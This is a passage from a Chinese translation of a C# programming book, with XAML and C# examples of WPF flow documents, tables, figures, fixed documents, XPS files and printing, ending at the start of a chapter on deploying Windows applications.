Block是块级元素的抽象基类。块可以把包含其中的元素组合到特定的视图上。所有 块通用的属性有PreviousBlock、NextBlock和SiblingBlocks,它们允许从一个块导航到下一 个块。在块开始之前设置BreakPageBefore换页符和BreakColumnBefore换行符。块还使用 BorderBrush和BorderThickness属性定义边框。 派生自Block的类有Paragraph、Section、List、Table和BlockUIContainer。 BlockUIContainer类似于InlineUIContainer,其中也可以添加派生自UIElement的元素。 Paragraph和Section是简单的块,其中Paragraph包含内联元素;Section用于组合其他 Block元素。使用Paragraph块可以确定在段落内部或段落之间是否允许添加换页符或换行 符。KeepTogether可用于禁止在段落内部换行,KeepWithNext尝试把一个段落与下一个段 落合并起来。如果段落用换页符或换行符隔开,那么MinWindowLines会定义分隔符之后 的最小行数,MinOrphanLines定义分隔符之前的最小行数。 Paragraph块也允许在段落内部用TextDecoration元素装饰文本。预定义的文本装饰由 TextDecoration:Baseline、Overline、Strikethrough和Underline定义。 下面的XAML代码显示了多个Paragraph元素。一个Paragraph元素包含标题,其后的 另一个Paragraph元素包含属于上述标题的内容。这两个段落通过特性KeepWithNext连接 起来。把KeepTogether设置为True,也确保包含内容的段落不被隔开(代码文件 DocumentsDemos/FlowDocumentsDemo/ParagraphDemo.xaml)。 <FlowDocument xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentat ion" ColumnWidth="300" FontSize="16" FontFamily="Segoe UI" ColumnRuleWidth="3" ColumnRuleBrush="Violet"> <Paragraph FontSize="36"> <Run>Lyrics</Run> </Paragraph> <Paragraph TextIndent="10" FontSize="24" KeepWithNext="True"> <Bold> <Run>Mary had a little lamb</Run> </Bold> </Paragraph> <Paragraph KeepTogether="True"> <Run>Mary had a little lamb, </Run> <LineBreak /> <Run>little lamb, little lamb, </Run> <LineBreak /> <Run>Mary had a little lamb, </Run> <LineBreak /> <Run>whose fleece was white as snow.</Run> <LineBreak /> <Run>And everywhere that Mary went, </Run> <LineBreak /> <Run>Mary went, Mary went, </Run> <LineBreak /> <Run>and everywhere that Mary went, </Run> <LineBreak /> <Run>the lamb was sure to go.</Run> </Paragraph> <Paragraph TextIndent="10" FontSize="24" KeepWithNext="True"> <Bold> <Run>Humpty Dumpty</Run> </Bold> </Paragraph> <Paragraph KeepTogether="True"> <Run>Humpty dumpty sat on a wall</Run> <LineBreak /> <Run>Humpty dumpty had a great fall</Run> <LineBreak /> <Run>All the King's horses</Run> <LineBreak /> <Run>And all the King's men</Run> <LineBreak /> <Run>Couldn't put Humpty together again</Run> </Paragraph> </FlowDocument> 结果如图35-6所示。 图35-7 图35-6 35.2.5 列表 List类用于创建无序或有序的文本列表。List通过设置MarkerStyle属性,定义了其列 表项的项目符号样式。MarkerStyle的类型是TextMarkerStyle,它可以是数字 (Decimal)、字母(LowerLatin和UpperLatin)、罗马数字(LowerRoman和 UpperRoman)或图片(Disc、Circle、Square、Box)。List只能包含ListItem元素, ListItem只能包含Block元素。 用XAML定义如下列表,结果如图35-7所示(代码文 件DocumentsDemos/FlowDocumentsDemo/ ListDemo.xaml)。 <List MarkerStyle="Square"> <ListItem> <Paragraph>Monday</Paragraph> </ListItem> <ListItem> <Paragraph>Tuesday</Paragraph> </ListItem> <ListItem> <Paragraph>Wednesday</Paragraph> </ListItem> </List> 35.2.6 表 Table类非常类似于第34章讨论的Grid类,它也定义行和列。下面的例子说明了如何 使用Table创建FlowDocument。现在以编程方式创建表,XAML文件包含 FlowDocumentReader(代码文件DocumentsDemos/TableDemo/MainWindow.xaml): <Window x:Class="TableDemo.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Table Demo" Height="350" Width="525"> <FlowDocumentReader x:Name="reader" /> </Window> 表中显示的数据从F1Results属性中返回(代码文件 DocumentsDemos/TableDemo/MainWindow. xaml.cs): private string[][] F1Results => new string[][] { new string[] { "1.", "Lewis Hamilton", "384" }, new string[] { "2.", "Nico Rosberg", "317" }, new string[] { "3.", "David Riccardio", "238" }, new string[] { "4.", "Valtteri Botas", "186" }, new string[] { "5.", "Sebastian Vettel", "167"} }; 要创建表,可以给Columns属性添加TableColumn对象。而利用TableColumn可以指定 宽度和背景。 Table还包含TableRowGroup对象。TableRowGroup有一个Rows属性,可以在Rows属 性中添加TableRow对象。TableRow类定义了一个Cells属性,在Cells属性中可以添加 TableCell对象。TableCell对象可以包含任意Block元素。这里使用了一个Paragraph元素, 其中包含Inline元素Run: var doc = new FlowDocument(); var t1 = new Table(); t1.Columns.Add(new TableColumn { Width = new GridLength(50, GridUnitType.Pixel) }); t1.Columns.Add(new TableColumn { Width = new GridLength(1, GridUnitType.Auto) }); t1.Columns.Add(new TableColumn { Width = new GridLength(1, GridUnitType.Auto) }); var titleRow = new TableRow { Background = Brushes.LightBlue }; var titleCell = new TableCell { ColumnSpan = 3, TextAlignment = TextAlignment.Center }; titleCell.Blocks.Add( new Paragraph(new Run("Formula 1 Championship 2014") { FontSize=24, FontWeight = FontWeights.Bold })); titleRow.Cells.Add(titleCell); var headerRow = new TableRow { Background = Brushes.LightGoldenrodYellow }; headerRow.Cells.Add( new TableCell(new Paragraph(new Run("Pos")) { FontSize = 14, FontWeight=FontWeights.Bold })); headerRow.Cells.Add(new TableCell(new Paragraph(new Run("Name")) { FontSize = 14, FontWeight = FontWeights.Bold })); headerRow.Cells.Add( new TableCell(new Paragraph(new Run("Points")) { FontSize = 14, FontWeight = FontWeights.Bold })); var rowGroup = new TableRowGroup(); rowGroup.Rows.Add(titleRow); rowGroup.Rows.Add(headerRow); List<TableRow> rows = F1Results.Select(row => { var tr = new TableRow(); foreach (var cell in row) { tr.Cells.Add(new TableCell(new Paragraph(new Run(cell)))); } return tr; }).ToList(); rows.ForEach(r => rowGroup.Rows.Add(r)); t1.RowGroups.Add(rowGroup); doc.Blocks.Add(t1); reader.Document = doc; 运行应用程序,会显示一个格式化好的表,如图35-8所示。 图35-8 35.2.7 块的锚定 既然学习了Inline和Block元素,就可以使用AnchoredBlock类型的Inline元素合并它 们。AnchoredBlock是一个抽象基类,它有两个具体的实现方式Figure和Floater。 Floater使用属性HorizontalAlignment和Width同时显示其内容和主要内容。 从上面的例子开始,添加一个包含Floater的新段落。这个Floater采用左对齐方式,宽 度为120。如图35-9所示,下一个段落将环绕它(代码文件 DocumentsDemos/FlowDocumentsDemo/ParagraphKeep-Together.xaml)。 <Paragraph TextIndent="10" FontSize="24" KeepWithNext="True"> <Bold> <Run>Mary had a little lamb</Run> </Bold> </Paragraph> <Paragraph> <Floater HorizontalAlignment="Left" Width="120"> <Paragraph Background="LightGray"> <Run>Sarah Josepha Hale</Run> </Paragraph> </Floater> </Paragraph> <Paragraph KeepTogether="True"> <Run>Mary had a little lamb</Run> <LineBreak /> <! -...-> </Paragraph> 图35-9 Figure采用水平和垂直对齐方式,可以锚定到页面、内容、列或段落上。下面代码中 的Figure锚定到页面中心处,但水平和垂直方向有偏移。设置WrapDirection,使左列和右 列环绕着图片,图35-10显示了环绕的结果(代码文件 DocumentsDemos/FlowDocumentsDemo/FigureAlignment.xaml)。 <Paragraph> <Figure HorizontalAnchor="PageCenter" HorizontalOffset="20" VerticalAnchor="PageCenter" VerticalOffset="20" WrapDirection="Both" > <Paragraph Background="LightGray" FontSize="24"> <Run>Lyrics Samples</Run> </Paragraph> </Figure> </Paragraph> 图35-10 Figure和Floater都用于添加不在主流中的内容,尽管这两个功能看起来类似,但它们 的特征大不相同。表35-1列出了Figure和Floater之间的区别。 表35-1 特征 Floater Figure 位置 Floater不能定位,在空间可用时 显示它 Figure可以用水平和垂直锚点来 定位,它可以停靠在页面、内 容、列或段落上 宽度 Floater只能放在一列中。如果它 设置的宽度大于列宽,就忽略它 Figure可以跨越多列。Figure的宽 度可以设置为半页或两列 分页 如果Floater高于列高,就分解 Floater,放到下一列或下一页上 如果Figure大于列高,就只显示 列中的部分,其他内容会丢失 35.3 流文档 前面介绍了所有Inline和Block元素,现在我们知道应该把什么内容放在流文档中。 FlowDocument类可以包含Block元素,Block元素可以包含Block或Inline元素,这取决于 Block的类型。 FlowDocument类的一个主要功能是把流分解为多个页面。这是通过FlowDocument实 现的IDocumentPaginatorSource接口实现。 FlowDocument的其他选项包括建立默认字体、前景画笔和背景画笔,以及配置页面 和列的大小。 下面FlowDocument的XAML代码定义了默认字体、字体大小、列宽和列之间的标 尺: <FlowDocument xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentatio n" ColumnWidth="300" FontSize="16" FontFamily="Segoe UI" ColumnRuleWidth="3" ColumnRuleBrush="Violet"> 现在需要一种方式来查看文档。以下列表描述了几个查看器: ● RichTextBox——一个简单的查看器,还允许编辑(只要IsReadOnly属性没有设置 为true)。RichTextBox不在多列中显示文档,而以滚动模式显示文档。这类似于 Microsoft Word中的Web布局。把HorizontalScrollbarVisibility设置为 ScrollbarVisibility.Auto,就可以启用滚动条。 ● FlowDocumentScrollViewer——一个读取器,只能读取文档,不能编辑文档,这个 读取器允许放大文档,工具栏中的滑块可以使用IsToolbarEnabled属性,来启用其 缩放功能。CanIncreaseZoom、CanDecreaseZoom、MinZoom和MaxZoom这样的设 置都允许设置缩放功能。 ● FlowDocumentPageViewer——给文档分页的查看器。使用这个查看器,不仅可以通 过其工具栏放大文档,还可以在页面之间切换。 ● FlowDocumentReader——这个查看器合并了FlowDocumentScrollViewer和 FlowDocument-PageViewer的功能,它支持不同的查看模式,这些模式可以在工具 栏中设置,或者使用FlowDocumentReaderViewingMode类型的ViewingMode属性 来设置。这个枚举的值可以是Page、TwoPage和Scroll,也可以根据需要禁用查看 模式。 演示流文档的示例应用程序定义了几个读取器,以便动态选择其中一个读取器。在 Grid元素中包含FlowDocumentReader、RichTextBox、FlowDocumentScrollViewer和 FlowDocumentPageViewer。所有的读取器都把Visibility属性设置为Collapsed,这样在启动 时,就不会显示任何读取器。网格中的第一个子元素是一个组合框,它允许用户选择活动 的读取器。组合框的ItemsSource属性绑定到Readers属性上,来显示读取器列表。选择了 一个读取器后,就调用OnReaderSelectionChanged方法(代码文件 DocumentsDemos/FlowDocumentsDemo/MainWindow.xaml): <Grid x:Name="grid1"> <Grid.RowDefinitions> <RowDefinition Height="Auto" /> <RowDefinition Height="*" /> </Grid.RowDefinitions> <Grid.ColumnDefinitions> <ColumnDefinition Width="*" /> <ColumnDefinition Width="Auto" /> </Grid.ColumnDefinitions> <ComboBox ItemsSource="{Binding Readers}" Grid.Row="0" Grid.Column="0" Margin="4" SelectionChanged="OnReaderSelectionChanged" SelectedIndex="0"> <ComboBox.ItemTemplate> <DataTemplate> <StackPanel> <TextBlock Text="{Binding Name}" /> </StackPanel> </DataTemplate> </ComboBox.ItemTemplate> </ComboBox> <Button Grid.Column="1" Margin="4" Padding="3" Click="OnOpenDocument" > Open Document </Button> <FlowDocumentReader ViewingMode="TwoPage" Grid.Row="1" Visibility="Collapsed" Grid.ColumnSpan="2" /> <RichTextBox IsDocumentEnabled="True" HorizontalScrollBarVisibility=" Auto" VerticalScrollBarVisibility="Auto" Visibility="Collapsed" Grid.Row="1" Grid.ColumnSpan="2" /> <FlowDocumentScrollViewer Visibility="Collapsed" Grid.Row="1" Grid.ColumnSpan="2" /> <FlowDocumentPageViewer Visibility="Collapsed" Grid.Row="1" Grid.ColumnSpan="2" /> </Grid> MainWindow类的Readers属性调用GetReaders方法,把读取器返回给ComboBox数据 绑定。GetReaders方法返回赋予documentReaders变量的列表。万一没有指定 documentReaders,就使用LogicalTreeHelper类获取网格grid1中的所有流文档读取器。由于 流文档读取器没有基类,也没有所有读取器都实现的接口,因此LogicalTreeHelper查找类 型为FrameworkElement、有Document属性的所有元素。所有流文档读取器都有Document 属性。对于每个读取器,用Name和Instance属性创建一个新的匿名对象。Name属性用于 显示在组合框中,允许用户选择活动的读取器,Instance属性包含对读取器的引用,如果 读取器应是活动的,就显示它(代码文件DocumentsDemos/Flow-DocumentsDemo/ MainWindow.xaml.cs): public IEnumerable<object> Readers => GetReaders(); private List<object> _documentReaders = null; private IEnumerable<object> GetReaders() { return _documentReaders ? ? ( _documentReaders = LogicalTreeHelper.GetChildren(grid1).OfType<FrameworkElement>() .Where(el => el.GetType().GetProperties() .Where(pi => pi.Name == "Document").Count() > 0) .Select(el => new { Name = el.GetType().Name, Instance = el }).Cast<object>().ToList()); }  注意: 用于GetReaders方法的合并运算符(??)参见第8章。  注意: 示例代码使用了dynamic关键字——activeDocumentReader变量声明为 dynamic类型。使用dynamic关键字是因为,ComboBox中的SelectedItem会返回 FlowDocumentReader、FlowDocumentScrollViewer、FlowDocumentPageViewer或 RichTextBox。所有这些类型都是流文档读取器,它们都提供了FlowDocument类型的 Document属性。但是,要定义这个属性,并没有通用的基类或接口。dynamic关键字允 许从同一个变量中访问这些不同的类型,并使用Document属性。dynamic关键字详见第 16章。 当用户选择一个流文档读取器时,就调用OnReaderSelectionChanged方法。引用这个 方法的XAML代码如上所示。在这个方法中,把以前选择的流文档读取器设置为折叠,使 之隐藏起来,并把变量activeDocumentReader设置为选中的读取器: private void OnReaderSelectionChanged(object sender, SelectionChangedEventArgs e) { dynamic item = (sender as ComboBox).SelectedItem; if (_activedocumentReader ! = null) { _activedocumentReader.Visibility = Visibility.Collapsed; } _activedocumentReader = item.Instance; } private dynamic _activedocumentReader = null; 当用户单击按钮,打开文档时,就会调用OnOpenDocument方法。在这个方法中,使 用XamlReader类加载选中的XAML文件,如果读取器返回FlowDocument(此时XAML的 根元素是FlowDocument),就给activeDocumentReader的Document属性赋值,把Visibility 设置为visible: private void OnOpenDocument(object sender, RoutedEventArgs e) { try { var dlg = new OpenFileDialog(); dlg.DefaultExt = "*.xaml"; dlg.InitialDirectory = Environment.CurrentDirectory; if (dlg.ShowDialog() == true) { using (FileStream xamlFile = File.OpenRead(dlg.FileName)) { var doc = XamlReader.Load(xamlFile) as FlowDocument; if (doc ! = null) { _activedocumentReader.Document = doc; _activedocumentReader.Visibility = Visibility.Visible; } } } } catch (XamlParseException ex) { MessageBox.Show($"Check content for a Flow document: {ex.Message}"); } } 运行的应用程序如图35-11所示。在该图的流文档中,FlowDocumentReader采用 TwoPage模式。 图35-11 35.4 固定文档 无论固定文档在哪里复制或使用,它总是定义相同的外观、相同的分页方式,并使用 相同的字体。WPF定义了用于创建固定文档的FixedDocument类,和用于查看固定文档的 DocumentViewer类。 本章使用一个示例应用程序,通过编程方式创建一个固定文档,该程序要求用户输入 一个用于创建固定文档的菜单规划。菜单规划的数据就是固定文档的内容。图35-12显示 了这个应用程序的主用户界面,用户可以在其中用DatePicker类选择某一天,在DataGrid 中输入一周的菜单,再单击Create Doc按钮,新建一个FixedDocument。这个应用程序使用 Page对象在NavigationWindow中导航。单击Create Doc按钮会导航到一个包含固定文档的 新页面上。 图35-12 Create Doc按钮的事件处理程序OnCreateDoc导航到一个新页面上。为此,处理程序 实例化新页面DocumentPage。这个页面包含一个NavigationService_LoadCompleted处理程 序,把它赋予NavigationService的LoadCompleted事件。在这个处理程序中,新页面可以访 问传送给页面的内容。接着调用Navigate()方法导航到page2。新页面接收对象menus, 该对象包含了构建固定页面所需的所有菜单信息。menus变量的类型是 ObservableCollection<MenuEntry>(代码文件 CreateXps/CreateXps/MenuPlannerPage.xaml.cs)。 private void OnCreateDoc(object sender, RoutedEventArgs e) { if (_menus.Count == 0) { MessageBox.Show("Select a date first", "Menu Planner", MessageBoxButton.OK); return; } var page2 = new DocumentPage(); NavigationService.LoadCompleted += page2.NavigationService_LoadCompleted; NavigationService.Navigate(page2, _menus); } 在DocumentPage中,使用DocumentViewer获取对固定文档的读取访问权限。固定文 档在NavigationService_LoadCompleted()方法中创建。在这个事件处理程序中,从第一 个页面传递的数据通过NavigationEventArgs的ExtraData属性接收。 把接收到的ObservableCollection<MenuEntry>赋予menus变量,该变量用于构建固定 页面(代码文件CreateXps/ CreateXps/DocumentPage.xaml.cs): internal void NavigationService_LoadCompleted(object sender, NavigationEventArgs e) { _menus = e.ExtraData as ObservableCollection<MenuEntry>; _fixedDocument = new FixedDocument(); var pageContent1 = new PageContent(); _fixedDocument.Pages.Add(pageContent1); var page1 = new FixedPage(); pageContent1.Child = page1; page1.Children.Add(GetHeaderContent()); page1.Children.Add(GetLogoContent()); page1.Children.Add(GetDateContent()); page1.Children.Add(GetMenuContent()); viewer.Document = _fixedDocument; NavigationService.LoadCompleted -= NavigationService_LoadCompleted; } 固定文档用FixedDocument类创建。FixedDocument元素只包含可通过Pages属性访问 的PageContent元素。PageContent元素必须按它们显示在页面上的顺序添加到文档中。 PageContent定义了单个页面的内容。 PageContent有一个Child属性,因此可以把PageContent关联到FixedPage上。在 FixedPage上可以把UIElement类型的元素添加到Children集合中。在这个集合中可以添加 前两章介绍的所有元素,包括TextBlock,它本身可以包含Inline和Block元素。 在示例代码中,FixedPage的子元素用辅助方法GetHeaderContent()、 GetLogoContent()、GetDateContent()和GetMenuContent()创建。 GetHeaderContent()方法创建一个TextBlock,并返回它。给TextBlock添加Inline元 素Bold,又给Bold添加Run元素。Run元素包含文档的标题文本。利用 FixedPage.SetLeft()和FixedPage.SetTop(),定义TextBox在固定页面中的位置。 private static UIElement GetHeaderContent() { var text1 = new TextBlock { FontFamily = new FontFamily("Segoe UI"), FontSize = 34, HorizontalAlignment = HorizontalAlignment.Center }; text1.Inlines.Add(new Bold(new Run("cn|elements"))); FixedPage.SetLeft(text1, 170); FixedPage.SetTop(text1, 40); return text1; } GetLogoContent()方法在固定文档中使用RadialGradientBrush添加一个Ellipse形状的 徽标: private static UIElement GetLogoContent() { var ellipse = new Ellipse { Width = 90, Height = 40, Fill = new RadialGradientBrush(Colors.Yellow, Colors.DarkRed) }; FixedPage.SetLeft(ellipse, 500); FixedPage.SetTop(ellipse, 50); return ellipse; } GetDateContent()方法访问menus集合,把一个日期范围添加到文档中: private UIElement GetDateContent() { string dateString = $"{menus[0].Day:d} to {menus[menus.Count - 1].Day:d}"; var text1 = new TextBlock { FontSize = 24, HorizontalAlignment = HorizontalAlignment.Center }; text1.Inlines.Add(new Bold(new Run(dateString))); FixedPage.SetLeft(text1, 130); FixedPage.SetTop(text1, 90); return text1; } 最后,GetMenuContent()方法创建并返回一个Grid控件,这个网格中的列和行包含 日期、菜单和价格信息: private UIElement GetMenuContent() { var grid1 = new Grid { ShowGridLines = true }; grid1.ColumnDefinitions.Add(new ColumnDefinition { Width= new GridLength(50) }); grid1.ColumnDefinitions.Add(new ColumnDefinition { Width = new GridLength(300) }); grid1.ColumnDefinitions.Add(new ColumnDefinition { Width = new GridLength(70) }); for (int i = 0; i < _menus.Count; i++) { grid1.RowDefinitions.Add(new RowDefinition { Height = new GridLength(40) }); var t1 = new TextBlock(new Run($"{_menus[i].Day:ddd}")); var t2 = new TextBlock(new Run(_menus[i].Menu)); var t3 = new TextBlock(new Run(_menus[i].Price.ToString())); var textBlocks = new TextBlock[] { t1, t2, t3 }; for (int column = 0; column < textBlocks.Length; column++) { textBlocks[column].VerticalAlignment = VerticalAlignment.Center; textBlocks[column].Margin = new Thickness(5, 2, 5, 2); Grid.SetColumn(textBlocks[column], column); Grid.SetRow(textBlocks[column], i); grid1.Children.Add(textBlocks[column]); } } FixedPage.SetLeft(grid1, 100); FixedPage.SetTop(grid1, 140); return grid1; } 运行应用程序,所创建的固定文档如图35-13所示。 图35-13 35.5 XPS文档 使用Microsoft Word,可以把文档另存为PDF或XPS文件。XPS是XML纸张规范 (XML Paper Specification),是WPF的一个子集。Windows包含一个XPS读取器。 .NET在System.Windows.Xps、System.Windows.Xps.Packaging和System.IO.Packaging 名称空间中包含读写XPS文档的类和接口。 因为XPS以zip文件格式打包,所以很容易把扩展名为.xps的文件重命名为.zip,打开 该归档文件,来分析XPS文档。 XPS文件需要在.zip文档中有XML纸张规范(可从http://www.microsoft.com/ whdc/xps/xpsspec.mspx上下载)定义的特定结构。这个结构基于OPC(Open Packaging Convention,开放打包约定), Word文档(OOXML或Office Open XML)也基于OPC。在 这个文件中,可以包含用于元数据、资源(如字体和图片)和文档本身的不同文件夹。在 XPS文档的文档文件夹中,可以找到表示XAML的XPS子集的XAML代码。 要创建XPS文档,可使用System.Windows.Xps.Packaging名称空间中的XpsDocument 类。要使用这个类,也需要引用程序集ReachFramework。通过这个类可以给文档添加缩 略图(AddThumbnail())和固定文档序列(AddFixedDocumentSequence()),还可 以给文档加上数字签名。固定文档序列使用IXpsFixedDocumentSequenceWriter接口写入, 该接口使用IXpsFixedDocumentWriter在序列中写入文档。 如果FixedDocument已经存在,写入XPS文档就有一个更简单的方法。不需要添加每 个资源和每个文档页,而可以使用System.Windows.Xps名称空间中的XpsDocumentWriter 类。要使用这个类,必须引用System.Printing程序集。 下面的代码段包含一个创建XSP文档的处理程序。首先创建用于菜单规划的文件名, 它使用星期几和名称menuplan。星期几用GregorianCalender类来计算。接着打开 SaveFileDialog,让用户覆盖已创建的文件名,并选择在其中存储文件的目录。 SaveFileDialog类在名称空间Microsoft.Win32中定义,它封装本地文件对话框。接着新建 一个XpsDocument,其中将文件名传送给构造函数。因为XPS文件使用ZIP格式压缩内 容,所以使用CompressionOption可以指定该压缩是在时间上还是空间上进行优化。 之后使用静态方法XpsDocument.CreateXpsDocumentWriter()创建一个 XpsDocumentWriter。重载XpsDocumentWriter的Write()方法,从而接受不同的内容或 将内容部分写入文档中。Write()方法可接受的选项有FixedDocumentSequence、 FixedDocument、FixedPage、string和DocumentPaginator。在示例代码中,仅传送了前面创 建的fixedDocument(代码文件CreateXps/CreateXps/MenuDocumentPage. xaml.cs): private void OnCreateXPS(object sender, RoutedEventArgs e) { var c = new GregorianCalendar(); int weekNumber = c.GetWeekOfYear(_menus[0].Day, CalendarWeekRule.FirstFourDayWeek, DayOfWeek.Monday); var dlg = new SaveFileDialog { FileName = $"menuplan{weekNumber}", DefaultExt = "xps", Filter = "XPS Documents|*.xps|All Files|*.*", AddExtension = true }; if (dlg.ShowDialog() == true) { var doc = new XpsDocument(dlg.FileName, FileAccess.Write, CompressionOption.Fast); XpsDocumentWriter writer = XpsDocument.CreateXpsDocumentWriter(doc); writer.Write(fixedDocument); doc.Close(); } } 运行应用程序,以存储XPS文档,就可以用XPS查看器查看文档,如图35-14所示。 图35-14 还可以给XpsDocumentWriter的一个重载Write()方法传递Visual, Visual是UIElement 的基类,因此可以给写入器传递任意UIElement,从而方便地创建XPS文档。这个功能在 下面的打印示例中使用。 35.6 打印 用DocumentViewer打印显示在屏幕上的FixedDocument,最简单的方法是使用关联到 该文档上的DocumentViewer的Print()方法。对于菜单规划应用程序,这都在OnPrint处 理程序中完成。DocumentViewer的Print()方法会打开PrintDialog,把关联的 FixedDocument发送给选中的打印机(代码文件 CreateXps/CreateXpsDocumentPage.xaml.cs): private void OnPrint(object sender, RoutedEventArgs e) { viewer.Print(); } 35.6.1 用PrintDialog打印 如果希望更多地控制打印过程,就可以实例化PrintDialog,并用PrintDocument()方 法打印文档。PrintDocument()方法需要把DocumentPaginator作为第一个参数。 FixedDocument通过Document-Paginator属性返回一个DocumentPaginator对象。第二个参数 定义了当前打印机在“打印机”对话框中为打印作业显示的字符串: var dlg = new PrintDialog(); if (dlg.ShowDialog() == true) { dlg.PrintDocument(fixedDocument.DocumentPaginator, "Menu Plan"); } 35.6.2 打印可见元素 创建UIElement对象也很简单。下面的XAML代码定义了一个椭圆、一个矩形和一个 用两个椭圆元素表示的按钮。利用该按钮的Click处理程序OnPrint(),会启动可见元素 的打印作业(代码文件DocumentsDemo/PrintingDemo/MainWindow.xaml): <Canvas x:Name="canvas1"> <Ellipse Canvas.Left="10" Canvas.Top="20" Width="180" Height="60" Stroke="Red" StrokeThickness="3" > <Ellipse.Fill> <RadialGradientBrush> <GradientStop Offset="0" Color="LightBlue" /> <GradientStop Offset="1" Color="DarkBlue" /> </RadialGradientBrush> </Ellipse.Fill> </Ellipse> <Rectangle Width="180" Height="90" Canvas.Left="50" Canvas.Top="50"> <Rectangle.LayoutTransform> <RotateTransform Angle="30" /> </Rectangle.LayoutTransform> <Rectangle.Fill> <LinearGradientBrush> <GradientStop Offset="0" Color="Aquamarine" /> <GradientStop Offset="1" Color="ForestGreen" /> </LinearGradientBrush> </Rectangle.Fill> <Rectangle.Stroke> <LinearGradientBrush> <GradientStop Offset="0" Color="LawnGreen" /> <GradientStop Offset="1" Color="SeaGreen" /> </LinearGradientBrush> </Rectangle.Stroke> </Rectangle> <Button Canvas.Left="90" Canvas.Top="190" Content="Print" Click="OnPrint" > <Button.Template> <ControlTemplate TargetType="Button"> <Grid> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition /> </Grid.RowDefinitions> <Ellipse Grid.Row="0" Grid.RowSpan="2" Width="60" Height="40" Fill="Yellow" /> <Ellipse Grid.Row="0" Width="52" Height="20" HorizontalAlignment="Center"> <Ellipse.Fill> <LinearGradientBrush StartPoint="0.5,0" EndPoint="0.5,1"> <GradientStop Color="White" Offset="0" /> <GradientStop Color="Transparent" Offset="0.9" /> </LinearGradientBrush> </Ellipse.Fill> </Ellipse> <ContentPresenter Grid.Row="0" Grid.RowSpan="2" HorizontalAlignment="Center" VerticalAlignment="Center" /> </Grid> </ControlTemplate> </Button.Template> </Button> </Canvas> 在OnPrint()处理程序中,调用PrintDialog的PrintVisual()方法可启动打印作业。 PrintVisual()接受派生自Visual基类的任意对象(代码文件 PrintingDemo/MainWindow.xaml.cs): private void OnPrint(object sender, RoutedEventArgs e) { var dlg = new PrintDialog(); if (dlg.ShowDialog() == true) { dlg.PrintVisual(canvas1, "Print Demo"); } } 为了通过编程方式来打印,而无需用户干涉,System.Printing名称空间中的 PrintDialog类可用于创建一个打印作业,并调整打印设置。LocalPrintServer类提供了打印 队列的信息,并用DefaultPrintQueue属性返回默认的PrintQueue。使用PrintTicket可以配置 打印作业。PrintQueue.DefaultPrintTicket返回与队列关联的默认PrintTicket。PrintQueue的 GetPrintCapabilities()方法返回打印机的功能,根据该功能可以配置PrintTicket,如下面 的代码段所示。配置完PrintTicket后,静态方法PrintQueue.CreateXpsDocumentWriter() 返回一个XpsDocumentWriter对象。XpsDocumentWriter类以前用于创建XPS文档,也可以 使用它启动打印作业。XpsDocumentWriter的Write()方法不仅接受Visual或 FixedDocument作为第一个参数,还接受PrintTicket作为第二个参数。如果用第二个参数传 递PrintTicket,写入器的目标就是与对应标记关联的打印机,因此写入器把打印作业发送 给打印机。 var printServer = new LocalPrintServer(); PrintQueue queue = printServer.DefaultPrintQueue; PrintTicket ticket = queue.DefaultPrintTicket; PrintCapabilities capabilities = queue.GetPrintCapabilities(ticket); if (capabilities.DuplexingCapability.Contains(Duplexing.TwoSidedLongEdge)) ticket.Duplexing = Duplexing.TwoSidedLongEdge; if (capabilities.InputBinCapability.Contains(InputBin.AutoSelect)) ticket.InputBin = InputBin.AutoSelect; if (capabilities.MaxCopyCount > 3) ticket.CopyCount = 3; if (capabilities.PageOrientationCapability.Contains(PageOrientation.Landscape )) ticket.PageOrientation = PageOrientation.Landscape; if (capabilities.PagesPerSheetCapability.Contains(2)) ticket.PagesPerSheet = 2; if (capabilities.StaplingCapability.Contains(Stapling.StapleBottomLeft)) ticket.Stapling = Stapling.StapleBottomLeft; XpsDocumentWriter writer = PrintQueue.CreateXpsDocumentWriter(queue); writer.Write(canvas1, ticket); 35.7 小结 本章学习了如何把WPF功能用于文档,如何创建根据屏幕大小自动调整的流文档, 以及如何创建外观总是不变的固定文档。我们还讨论了如何打印文档,如何把可见元素发 送给打印机。 第36章讨论部署,结束本书的客户端应用程序的编程部分。 第36章 部署Windows应用程序 本章要点 ● 部署要求 ● 部署场景 ● 使用ClickOnce进行部署 ● 部署UWP应用程序 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● WPFSampleApp ● UniversalWinApp 36.1 部署是应用程序生命周期的一部分 在编译源代码并完成测试后,开发过程并没有结束。在这个阶段,需要把应用程序提 供给用户。无论是ASP.NET应用程序、WPF客户端应用程序,还是UWP应用程序,软件 都必须部署到目标环境中。 应该在应用程序设计的早期阶段考虑部署,因为它会影响到应用程序本身使用的技 术。 .NET Framework使部署工作比以前容易得多,因为不再需要注册COM组件,也不需 要编写新的注册表配置单元。 本章将介绍可用于应用程序部署的选项,包括桌面客户应用程序(WPF)和UWP应 用程序的部署选项。  注意: Web应用程序的部署参见第45章。 36.2 部署的规划 部署常常是开发过程之后的工作,如果不精心规划,就可能会导致严重的问题。为了 避免在部署过程中出错,应在最初的设计阶段就对部署过程进行规划。任何部署问题,如 服务器的容量、桌面的安全性或从哪里加载程序集等,都应从一开始就纳入设计,这样部 署过程才会比较顺利。 另一个必须在开发过程早期解决的问题是,在什么环境下测试部署。应用程序代码的 单元测试和部署选项的测试可以在开发人员的系统中进行,而部署必须在类似于目标系统 的环境中测试。这一点非常重要,可以消除目标计算机上不存在的依赖项。例如,第三方 的库很早就安装在项目开发人员的计算机上,但目标计算机可能没有安装这个库。在部署 软件包中很容易忘记包含这个库。在开发人员的系统上进行的测试不可能发现这个错误, 因为库已经存在。归档依赖关系可以帮助消除这种潜在的错误。 部署过程对于大型应用程序可能非常复杂。提前规划部署,在实现部署过程时可以节 省时间和精力。 选择合适的部署选项,必须像开发系统的其他方面那样给予特别关注和认真规划。选 择错误的选项会使把软件交付给用户的过程充满艰难险阻。 36.2.1 部署选项 本节概述.NET开发人员可以使用的部署选项。其中大多数选项将在本章后面详细论 述。 ● xcopy——xcopy实用工具允许把一个程序集或一组程序集复制到应用程序文件夹 中,从而减少了开发时间。由于程序集是自我包含的(即描述程序集的元数据包 含在程序集中),因此不需要在注册表中注册。每个程序集都跟踪它需要执行的 